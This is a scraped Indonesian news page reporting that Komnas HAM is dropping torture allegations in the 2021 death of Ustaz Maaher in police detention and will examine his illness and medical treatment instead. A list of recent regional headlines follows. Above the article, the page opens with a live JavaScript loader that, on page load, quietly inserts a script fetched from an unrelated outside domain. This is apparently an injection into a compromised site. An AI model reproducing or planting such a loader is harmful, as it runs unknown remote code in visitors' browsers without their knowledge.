(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Usut Kematian Maaher, Komnas HAM: Jika Ada Unsur Penyiksaan Kami Delete


KANALKALIMANTAN.COM, JAKARTA – Komisi Nasional Hak Asasi Manusia (Komnas HAM) mengatakan tak akan usut soal ada atau tidaknya dugaan penyiksaan dibalik tewasnya Ustaz Maaher At-Thuwailibi atau Soni Eranata di Rutan Bareskrim Polri, Senin (8/2/2021).

Komnas HAM menilai soal urusan dugaan penyiksaan terhadap Ustaz Maaher sudah terjawab dan tak perlu dikorek.

“Kedua belah pihak, keluarga menyampaikan informasi yang sama (dengan Polri) bahwa tidak ada unsur penyiksaan. Artinya kalau untuk unsur penyiksaan kita delete lah,” kata Ketua Komnas HAM Ahmad Taufan Damanik ditemui di Cikini, Jakarta Pusat, Rabu (10/2/2021).

Damanik mengatakan, kekinian Komnas HAM sudah mengambil langkah untuk mencari tahu penyebab tewasnya Maaher di dalam rutan. Ia dan pihaknya fokus untuk mencari tahu soal penanganan kesehatan terhadap Maaher dan mencari tahu penyakitnya.

“Kalau kekerasan keluarganya kan sudah bilang tidak ada sama keterangan polisi. Tapi kan sakit, sakitnya apa dan kenapa tidak segera mendapat perawatan jadi itu,” kata dia.

Ketua Komnas HAM Ahmad Taufan Damanik. (Suara.com/Bagaskara)

Sebelumnya, Komisioner Komnas HAM, Choirul Anam juga mengatakan, pertama-tama, pihaknya akan menghimpun keterangan dari kepolisian soal peristiwa tewasnya Ustaz Maaher di dalam rutan.

“”Iya kami akan meminta keterangan kepolisian. Kenapa penyebab kematiannya,” kata dia, Selasa (9/2/2021).

Ustadz Maheer ditahan Bareskrim Polri semenjak 4 Desember 2020 atau sehari setelah ditangkap di Tangerang, Banten, dalam kasus dugaan menyampaikan ujaran kebencian berdasarkan SARA di media sosial.

Polisi menyatakan penyebabnya kematian Ustaz Maaher karena sakit yang selama ini dideritanya.

Kendati polisi sudah menyatakan demikian, Choirul mengatakan tetap perlu ada penggalian keterangan mengenai riwayat sakit yang bersangkutan.

“Penting untuk diketahui sakitnya apa dan bagaimana sakit itu berlangsung di rutan dan sampai meninggal,” kata dia.(Suara)

Editor : Suara 

 

 

 


Al Ghifari

Recent Posts

Andoko Abdi Lamar Partai Sendiri, Putusan Pasangan Ada di DPP

KANALKALIMANTAN.COM, BANJARBARU - Satu kader Partai Demokrat Andoko Abdi menyerahkan berkas pencalonan Pemilihan Wali Kota… Read More

4 jam ago

Bawaslu HSU Melantik 30 Orang Anggota Panwascam

KANALKALIMANTAN.COM, AMUNTAI - Ketua Badan Pengawas Pemilu (Bawaslu) Hulu Sungai Utara (HSU) Marfa'i melantik dan… Read More

5 jam ago

15 Anggota Panwascam Dilantik, Bawaslu Banjarbaru langsung Berikan Bimtek Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru resmi melantik 15 anggota Panitia Pengawas… Read More

7 jam ago

Pangkalan LPG Diminta Tak Bermain Harga, Polres Banjarmasin Bentuk Tim Khusus

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin membentuk tim khusus untuk mengatasi permasalaha… Read More

8 jam ago

Langsung Pakai Ihram, Kloter 10 Asal HSU-Banjar-Banjarmasin Terbang ke Tanah Suci

KANALKALIMANTAN.COM, BANJARBARU - Jemaah Haji Kabupaten Hulu Sungai Utara (HSU) yang tergabung dalam Kelompok Terbang… Read More

14 jam ago

Safari Jum’at Pj Bupati Kapuas di Masjid Baiturrahman Tamban Catur

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi melakukan Safari Jum’at di Masjid… Read More

15 jam ago

This website uses cookies.